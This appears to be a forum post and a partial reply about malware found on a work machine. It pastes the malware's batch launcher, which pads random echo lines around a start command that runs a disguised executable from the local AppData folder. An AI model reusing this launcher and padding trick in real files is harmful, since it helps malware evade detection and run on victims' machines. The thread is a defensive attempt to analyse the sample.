Has anyone tried seeing what's inside of this malware? It ended up on one of our work machines. I copied the files to a thumb drive before setting the machine up for reimaging. Though the AV software kept saying it was removed, it kept coming back.
I noticed 3 outbound connections. Two were to Amazon AWS servers and one was to a machine in Panama based on the IP.
All the included .bat files are the same as below. I've checked against different encryption types but haven't had any luck figuring out the commands in the file. All of the executable have a 3 character extension. Looked at them in a hex editor and am unable to pull any useful data.
This is more out of curiosity than anything.
echo KWvBTeEhoOBvYGBOV0L9i07izYZQZ6eUNvN
echo UHCxEg2gVic
echo FgXcH8LAyBRqqlUil8L
echo EqXkXZQa0
echo 3BPrg
echo ptGFX9BkqRJM50l0ZhOy4FHpc2TYBtayl70
echo FfStAj3XYV5w9u
start "Lnvqgn8kWPwvFipqD8tLpq" "%LOCALAPPDATA%\Gm Ugc\iqgux rez.dcah"
echo f199qjLWdJ6URiTJLa3AC0
echo bF6MorMQoqttAWAMHa
echo Kpme1Fkmm
echo kLShOlr2t
echo sTNvUyM5FjoN89YzL3CFCdi5d6bknL
echo K6n2kL9BxaAY9NlDD8tFg
echo
s seem to be just random noise, possibly to reduce detection rate. The meat is probably in theiqgux rez.dcah
binary.